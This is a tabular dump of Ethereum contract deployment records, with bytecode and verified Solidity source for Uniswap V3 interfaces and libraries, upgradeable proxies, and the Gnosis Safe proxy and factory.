"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissioned pool actions\n/// @notice Contains pool methods that may only be called by the factory owner\ninterface IUniswapV3PoolOwnerActions {\n /// @notice Set the denominator of the protocol's % share of the fees\n /// @param feeProtocol0 new protocol fee for token0 of the pool\n /// @param feeProtocol1 new protocol fee for token1 of the pool\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;\n\n /// @notice Collect the protocol fee accrued to the pool\n /// @param recipient The address to which collected protocol fees should be sent\n /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1\n /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0\n /// @return amount0 The protocol fee collected in token0\n /// @return amount1 The protocol fee collected in token1\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolEvents.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Events emitted by a pool\n/// @notice Contains all events emitted by the pool\ninterface IUniswapV3PoolEvents {\n /// @notice Emitted exactly once by a pool when #initialize is first called on the pool\n /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize\n /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96\n /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool\n event Initialize(uint160 sqrtPriceX96, int24 tick);\n\n /// @notice Emitted when liquidity is minted for a given position\n /// @param sender The address that minted the liquidity\n /// @param owner The owner of the position and recipient of any minted liquidity\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity minted to the position range\n /// @param amount0 How much token0 was required for the minted liquidity\n /// @param amount1 How much token1 was required for the minted liquidity\n event Mint(\n address sender,\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted when fees are collected by the owner of a position\n /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees\n /// @param owner The owner of the position for which fees are collected\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount0 The amount of token0 fees collected\n /// @param amount1 The amount of token1 fees collected\n event Collect(\n address indexed owner,\n address recipient,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount0,\n uint128 amount1\n );\n\n /// @notice Emitted when a position's liquidity is removed\n /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect\n /// @param owner The owner of the position for which liquidity is removed\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity to remove\n /// @param amount0 The amount of token0 withdrawn\n /// @param amount1 The amount of token1 withdrawn\n event Burn(\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted by the pool for any swaps between token0 and token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the output of the swap\n /// @param amount0 The delta of the token0 balance of the pool\n /// @param amount1 The delta of the token1 balance of the pool\n /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96\n /// @param liquidity The liquidity of the pool after the swap\n /// @param tick The log base 1.0001 of price of the pool after the swap\n event Swap(\n address indexed sender,\n address indexed recipient,\n int256 amount0,\n int256 amount1,\n uint160 sqrtPriceX96,\n uint128 liquidity,\n int24 tick\n );\n\n /// @notice Emitted by the pool for any flashes of token0/token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the tokens from flash\n /// @param amount0 The amount of token0 that was flashed\n /// @param amount1 The amount of token1 that was flashed\n /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee\n /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee\n event Flash(\n address indexed sender,\n address indexed recipient,\n uint256 amount0,\n uint256 amount1,\n uint256 paid0,\n uint256 paid1\n );\n\n /// @notice Emitted by the pool for increases to the number of observations that can be stored\n /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index\n /// just before a mint/swap/burn.\n /// @param observationCardinalityNextOld The previous value of the next observation cardinality\n /// @param observationCardinalityNextNew The updated value of the next observation cardinality\n event IncreaseObservationCardinalityNext(\n uint16 observationCardinalityNextOld,\n uint16 observationCardinalityNextNew\n );\n\n /// @notice Emitted when the protocol fee is changed by the pool\n /// @param feeProtocol0Old The previous value of the token0 protocol fee\n /// @param feeProtocol1Old The previous value of the token1 protocol fee\n /// @param feeProtocol0New The updated value of the token0 protocol fee\n /// @param feeProtocol1New The updated value of the token1 protocol fee\n event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);\n\n /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner\n /// @param sender The address that collects the protocol fees\n /// @param recipient The address that receives the collected protocol fees\n /// @param amount0 The amount of token0 protocol fees that is withdrawn\n /// @param amount0 The amount of token1 protocol fees that is withdrawn\n event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);\n}\n"
},
"contracts/libraries/BitMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title BitMath\n/// @dev This library provides functionality for computing bit properties of an unsigned integer\nlibrary BitMath {\n /// @notice Returns the index of the most significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// x >= 2**mostSignificantBit(x) and x < 2**(mostSignificantBit(x)+1)\n /// @param x the value for which to compute the most significant bit, must be greater than 0\n /// @return r the index of the most significant bit\n function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n r += 128;\n }\n if (x >= 0x10000000000000000) {\n x >>= 64;\n r += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n r += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n r += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n r += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n r += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n r += 2;\n }\n if (x >= 0x2) r += 1;\n }\n\n /// @notice Returns the index of the least significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// (x & 2**leastSignificantBit(x)) != 0 and (x & (2**(leastSignificantBit(x)) - 1)) == 0)\n /// @param x the value for which to compute the least significant bit, must be greater than 0\n /// @return r the index of the least significant bit\n function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n r = 255;\n if (x & type(uint128).max > 0) {\n r -= 128;\n } else {\n x >>= 128;\n }\n if (x & type(uint64).max > 0) {\n r -= 64;\n } else {\n x >>= 64;\n }\n if (x & type(uint32).max > 0) {\n r -= 32;\n } else {\n x >>= 32;\n }\n if (x & type(uint16).max > 0) {\n r -= 16;\n } else {\n x >>= 16;\n }\n if (x & type(uint8).max > 0) {\n r -= 8;\n } else {\n x >>= 8;\n }\n if (x & 0xf > 0) {\n r -= 4;\n } else {\n x >>= 4;\n }\n if (x & 0x3 > 0) {\n r -= 2;\n } else {\n x >>= 2;\n }\n if (x & 0x1 > 0) r -= 1;\n }\n}\n"
},
"contracts/libraries/UnsafeMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math functions that do not check inputs or outputs\n/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks\nlibrary UnsafeMath {\n /// @notice Returns ceil(x / y)\n /// @dev division by 0 has unspecified behavior, and must be checked externally\n /// @param x The dividend\n /// @param y The divisor\n /// @return z The quotient, ceil(x / y)\n function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {\n assembly {\n z := add(div(x, y), gt(mod(x, y), 0))\n }\n }\n}\n"
},
"contracts/libraries/FixedPoint96.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint96\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\n/// @dev Used in SqrtPriceMath.sol\nlibrary FixedPoint96 {\n uint8 internal constant RESOLUTION = 96;\n uint256 internal constant Q96 = 0x1000000000000000000000000;\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 800
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"libraries": {}
}
}} |
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1 | 19,494,988 | 3d6ba851848906aa9f474979afef9049f93378fd40b069ed3e550f0a864c631c | 0cec820a1d7a06244281959895894cd115572204fed5aefac3c44286d1337dc6 | b5353115003ad9c34040de83984d3748681c7202 | 881d4032abe4188e2237efcd27ab435e81fc6bb1 | 3c693fbd98c23740c704343de0ecf1ac19e4fb4a | 3d602d80600a3d3981f3363d3d373d3d3d363d735691b8c690b40093309244d22b3d0176b74af7ef5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d735691b8c690b40093309244d22b3d0176b74af7ef5af43d82803e903d91602b57fd5bf3 | |
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| contract OwnedUpgradeabilityStorage {
// Current implementation
address internal _implementation;
// Owner of the contract
address private _upgradeabilityOwner;
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
/**
* @dev Tells the proxy type (EIP 897)
* @return Proxy type, 2 for forwarding proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId) {
return 2;
}
}
contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
/**
* @dev Tells the type of proxy (EIP 897)
* @return Type of proxy, 2 for upgradeable proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function () payable public {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract OwnedUpgradeabilityProxy is Proxy, OwnedUpgradeabilityStorage {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
/**
* @dev Upgrades the implementation address
* @param implementation representing the address of the new implementation to be set
*/
function _upgradeTo(address implementation) internal {
require(_implementation != implementation);
_implementation = implementation;
emit Upgraded(implementation);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the proxy owner
* @return the address of the proxy owner
*/
function proxyOwner() public view returns (address) {
return upgradeabilityOwner();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0));
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
/**
* @dev Allows the upgradeability owner to upgrade the current implementation of the proxy.
* @param implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
/**
* @dev Allows the upgradeability owner to upgrade the current implementation of the proxy
* and delegatecall the new implementation for initialization.
* @param implementation representing the address of the new implementation to be set.
* @param data represents the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload
*/
function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner {
upgradeTo(implementation);
require(address(this).delegatecall(data));
}
}
contract OwnableDelegateProxy is OwnedUpgradeabilityProxy {
constructor(address owner, address initialImplementation, bytes calldata)
public
{
setUpgradeabilityOwner(owner);
_upgradeTo(initialImplementation);
require(initialImplementation.delegatecall(calldata));
}
} |
1 | 19,495,002 | 95bf73689facb3bf19226ebffdec8c331d9d4ce9197dc944de1a3d1360000960 | dccd0194f357cfec8653b8ad73bac3585979979894bd44487710a845408d255e | c6da8f4deb95fe1015115ed228859e5310c5577c | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | bf7a8822ff3e1bb45e4c23e3a26bc9270192fa11 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,495,005 | e66530cdef4261dc7751c95f9e2637a5e68d29beb6e9dba4ae84035e060b436a | 4766ee919e79c081081707dfa0407ee6c83bb13da5e15438873f72b20809dc71 | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | d1df696dfb0fd001c64c6648d5600e28a17f33aa | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,495,010 | dace9d3d9e64b632b5a2a7dd39a4529278e86cdd4f64ffd5e8000ca3dcc0a28d | 3f738431c0f34c18db434839f327cf238ef7f4f1e45c3d92680da818c8890eda | a910015b3dee481a5cf022d187a671362a4e4179 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 1a377e77b8fc55b48af70413466441a100564e57 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,495,012 | f536ea62a399f58f8460ae688436f72b6ee64d62c1ce1e5bd6b6abbf48221d9c | 37e85eba22923e1c168b3aa9d214486c0db7114bb387f25921dbd91c0536b018 | d2c82f2e5fa236e114a81173e375a73664610998 | ffa397285ce46fb78c588a9e993286aac68c37cd | b0fe787bd700fcef4fdcb27a8c28640d6ac5d9d7 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
